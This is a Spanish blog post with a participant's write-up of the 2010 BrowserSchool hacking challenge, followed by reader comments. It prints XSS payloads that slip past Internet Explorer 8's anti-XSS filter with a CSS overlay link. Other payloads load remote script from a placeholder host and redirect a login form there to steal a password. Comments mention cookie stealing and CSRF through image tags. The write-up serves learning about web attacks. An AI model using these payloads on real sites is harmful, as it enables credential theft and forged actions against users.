miércoles, marzo 24, 2010

Solucionario Reto BrowserSchool [II de II] por Beni

******************************************************************************************
- Solucionario Reto BrowserSchool [I de II] por Beni
- Solucionario Reto BrowserSchool [II de II] por Beni
******************************************************************************************

Internet Explorer / Asignatura 1

Lo más difícil del reto ha sido saltarse la protección que trae de serie Internet Explorer 8, o sea, el filtro anti-XSS. Viendo la clasificacion final parece obvio que no he sido el único al que le ha costado aprobar con el profesor 3.

Viendo lo que pasaba al pulsar el botón para aprobar o suspender, lo que hice para esta primera asignatura fue copiar y pegar la dirección que aparecía tras esta acción para usarlo como piedra angular de la solución:

GestionNotas.aspx?cbEvaluacion=1%26idMensaje=b003467e-4a1f-4c37-abda-2cc74ac17611

Si logramos que el profesor entre en esa página, entonces estamos aprobados. Buscamos en la red como saltarnos el filtro de IE8 y por los resultados obtenidos vemos que no es imposible hacerlo, especialmente por un articulo de Cesar Cerrudo que me fue de mucho provecho. En el se explica como usar un overlay por CSS para tapar la web original con un enlace, sin usar ningún tag de HTML que haga saltar el filtro, solo con [a] y [div].

Los primeros intentos los dirigí a obtener un layer transparente, que lograba el objetivo al pulsar en cualquier parte de la web menos en los controles que eran los que más importaban. Al no convencerme del todo, hice que el [div] pillara el aspecto de los botones que había y lo coloqué encima del botón existente ajustandolo poco a poco con un posicionamiento relativo. Si esto lo pude hacer fue porque el estilo del botón era muy simple, sin imagenes que habrían hecho saltar el filtro. O sea, esta es la forma:

- a=2[a href='X'][div class='BotonNormal' style='position:relative;width:47px;left:335px;top:-105px;padding:3px']Enviar[/div][/a]

Reemplazando la X del href por la ruta anterior, conseguimos el aprobado de esta asignatura.

Internet Explorer / Asignatura 2

Gracias a que tenemos la contraseña de aula de esta asignatura, obtenida con el Chrome o con el Firefox, podemos usar lo mismo que antes despues de haber posicionado el botón en su sitio:

- a=2[a href='GestionNotas.aspx?rbEvaluacion=1%26tCodigoAula=%255B%2523%2523%2524%2524123456%2eabcdef%2524%2524%2523%2523%255D%26idMensaje=8131f157-98f6-46d9-82e2-11031f5ea2da'][div class='BotonNormal' style='position:relative;width:47px;left:170px;top:142px;padding:3px']Enviar[/div][/a]

Internet Explorer / Asignatura 3

Al no tener la contraseña del profesor 3, no se puede repetir el truco que usamos en la asignatura. Volviendo al ejemplo de Cesar Cerrudo:

- a=2[a href='aula_3.aspx?idMensaje=b381de4b-7952-445a-8e99-85b28fcf9ecf%26idUsuario=d6471dea-8298-42aa-ab9d-6550b75fc471%26solucion=a=2[sc%0aript src=%22http://www.xxxx.es/script1.txt%22][/script]'][div class='BotonNormal' atyle='position:relative;width:75px;left:188px;top:141px;padding:3px']Suspender[/div][/a]

Para evitar que salte el filtro, subimos un fichero con el script deseado a cualquier web; e.g: http://www.xxxx.es/script1.txt contiene este código:

function f(){document.getElementById('resultado').value=1};
window.onload=function(){document.getElementById('bSuspender').onclick=f}


Esto requiere de dos pasos, o sea, al rellenar el form y enviarlo, el profesor vuelve a ver el form en blanco y tiene que volver a rellenarlo y mandarlo otra vez, pero os garantizo que por suerte coló.

Para sacar la contraseña del profesor, hacemos mas o menos lo mismo, pero con otro script; e.g: http://www.xxxx.es/script2.txt con este código:

document.getElementById('fcalificar').action='http://www.xxxx.es/p3/'

CONTRASEÑA PROFESOR 3: MsExplorer8.0.2009_%,..,

Despedida y cierre

Gracias a Microsoft y a Informatica64 por el reto y por la generosidad en los premios ofrecidos y enhorabuena al resto de ganadores y demás participantes.


******************************************************************************************
- Solucionario Reto BrowserSchool [I de II] por Beni
- Solucionario Reto BrowserSchool [II de II] por Beni
******************************************************************************************

11 comentarios:

Anónimo dijo...

Chema, siempre tienes un as debajo de la manga.

Más que nada porque entendí que hoy no habría post.

Nos mimas demasiado.
;P

vicent dijo...

Gracias Beni y a Chema por publicarla..esperaba con ansia la solución desde hace tiempo ;)

No se si te acuerdas que te comenté en la rooted, a ver si cuentas ya el truco! jaja ingenioso lo del css overlay.

Curiosamente participar en el concurso hizo cambiar mi visión sobre IE.

¿Chema, Para cuando el próximo para estudiantes solamente? que si no el amigo kachakil arrasa :P

Anónimo dijo...

Maligno comenta algo de la Pwn2own 2010, IE 8 sobre Windows 7 ha sido el primer año en caer.

Todavia no ha conseguido aguantar vivo ninguna edición.

f0n dijo...

@Anónimo, aquí tienes tu paper:

http://vreugdenhilresearch.nl/Pwn2Own-2010-Windows7-InternetExplorer8.pdf

Un saludo

Anónimo dijo...

Dani Kachakil, estuvo genial tu presentación, e impresionante la herramienta!
(escribo aquí porque en su web no tiene comentarios).
Un saludo

Juan dijo...

@Anonimo

Ya han caido todos menos Chrome. Igual que el año pasado

http://mashable.com/2010/03/25/iphone-firefox-safari-ie8-hacked/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+Mashable+%28Mashable%29&utm_content=Google+Reader

Dani Kachakil dijo...

Por fin se desveló el misterio del IE8, aunque resulta que era una técnica que ya me había leido. En cualquier caso, me ha parecido una solución muy ingeniosa, así que enhorabuena Beni!. Por cierto, ¿la solución de kamikazike para el IE8 es la misma?

@vicent: Jajaja, no me seas nenaza!. Nada de volver a discriminarnos con más retos para estudiantes y cosas por el estilo. De todas formas, a pesar de que yo no participara, tampoco veo que hayas quedado en el top 3, así que menos excusas... ;-)

@anónimo: Muchas gracias por el feedback!

Anónimo dijo...

El lado del mal se expande!!!

http://rlmacas.blogspot.com/2010/03/pwn2own-2010-entrevista-con-charlie.html

Anónimo dijo...

lo de menos chrome es una mentira,porque no intentaron hacerlo caer,o sea fue ignorado ,igual que opera,Miller dijo que contaba con varias fallas de chrome pero no tubo tiempo en buscar la forma de aprovecharla,y que le dedico el tiempo a safari que era mucho mas facil y rapido,que fue el primero en caer y con esto ya lleva 3 años consecutivos en caer en 10 segundos

Imationgroup dijo...

estubiste guay en la charla de la carballeira (ourense). pero me quedaron algunas dudas y me gustaria preguntartelas,te doy mi direccion: andresalonso6362@hotmail.com. contacta conmigo gracias

kamikazike dijo...

Hola,
Al acabar el reto, pensé en realizar un solucionario explicando como conseguí realizar las pruebas, pero por desgracia no había apuntado nada sobre las soluciones que me habían dado como válidas y no quería hacer algo a medias.
Para IE8 y Chrome, las soluciones son muy parecidas a las de Beni, y supongo que a la mayoría que las pasaron.
Para conseguir las contraseñas, realicé el tipico cookie stealer.
Con IE8, la cosa se puso mas dificil. Probé de todo sin mucho éxito. Finalmente, decidí dejar de intentar modificar el comportamiento de la hoja, y remplantear el problema. Como ha dicho Beni, el objetivo era que el profesor accedira a esa URL que da el examen por válido.
Comprobé que el filtro anti-XSS de IE8 no bloquea los tags IMG... :D
La solución era tan simple como insertar una imagen que hiciera la petición de dicha URL (CSRF). De esta manera se conseguia aprobar las asignaturas sin que el profesor hubiera pulsado ningún botón.
Creo que esta solución serviría para todas las pruebas.
Por si alguien quiere comentar o preguntar algo, aquí teneis mi correo: kamikazike[at]gmail[dot]com

Desde aquí me gustaría agradecer a los organizadores la realización del reto, que fué muy divertido y con mucha tensión!
Felicidades también al resto de ganadores y participantes!

Entrada destacada

10 maneras de sacarle el jugo a tu cuenta de @MyPublicInbox si eres un Perfil Público

Cuando doy una charla a algún amigo, conocido, o a un grupo de personas que quieren conocer MyPublicInbox , siempre se acaban sorprendiendo ...

Entradas populares